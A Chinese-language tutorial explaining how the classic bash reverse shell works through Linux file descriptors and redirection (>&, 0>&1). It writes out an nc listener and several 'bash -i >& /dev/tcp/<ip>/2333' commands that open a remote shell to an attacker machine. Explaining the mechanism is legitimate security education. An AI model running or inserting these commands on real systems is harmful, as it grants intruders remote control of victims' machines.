文章内容和图片参考于:https://xz.aliyun.com/t/2548
当Linux启动的时候会默认打开三个文件描述符,分别是:
标准输入standard input 0 (默认设备键盘)
标准输出standard output 1(默认设备显示器)
错误输出:error output 2(默认设备显示器)
文件所有输入输出都是由该进程所有打开的文件描述符控制的。(Linux一切皆文件,就连键盘显示器设备都是文件,因此他们的输入输出也是由文件描述符控制)
我们就以最常见的反弹bash为例:
attacker机器上执行:
nc -lvp 2333
victim 机器上执行:
bash -i >& /dev/tcp/192.168.146.129/2333 0>&1
解析这个命令,首先这个命令分为三步
为了实现交互,我们需要把受害者交互式shell的输出重定向到攻击机上
在受害者机器上输入
bash -i > /dev/tcp/192.168.146.129/2333
示意图:
但是这里有一个问题,攻击者没有能够实现对受害者的控制,攻击者执行的命令没法在受害者电脑上执行。
于是我们似乎还需要一条这样的指令
bash -i < /dev/tcp/192.168.146.129/2333
示意图:
这条指令的意思是将攻击者输入的命令输入给受害者的bash,自然就能执行了
最后就是将错误信息也输入到/dev/tcp/192.168.146.129/2333
所以这里会用到 >&、&>这两个用法
bash -i >& /dev/tcp/192.168.146.129/2333
这时错误信息也传到攻击者ip当中
注意 >& 和 0>&1的区别:
>&和&>都是代表错误输重定向
而当>&周围紧挨着1\0\2数字时他的含义就变了. 这时&的作用只是防止1\0\2被shell认为是文件, 能正确的识别为 1=标准输出, 2=错误输出 ,0=标准输入
最后就是将以上三步结合
bash -i > /dev/tcp/192.168.146.129/2333 0>&1 2>&1
当然我们也可以执行与之完全等价的指令
bash -i >& /dev/tcp/192.168.146.129/2333 0>&1
至此,我们的反弹shell的经典语句就分析完了,通过这条语句的分析我们能大致的了解反弹shell的本质,以后碰到其他的反弹shell 的语句也能用类似的分析方法区分析,甚至我们也可以自己举一反三创造更加绝妙的反弹shell 的语句
最后理解:文件描述符的复制
格式: [n]<&[m] / [n]>&[m] (这里所有字符之间不要有空格)
说明:
1)这里两个都是将文件描述符 n 复制到 m ,两者的区别是,前者是以只读的形式打开,后者是以写的形式打开
因此 0<&1 和 0>&1 是完全等价的(读/写方式打开对其没有任何影响)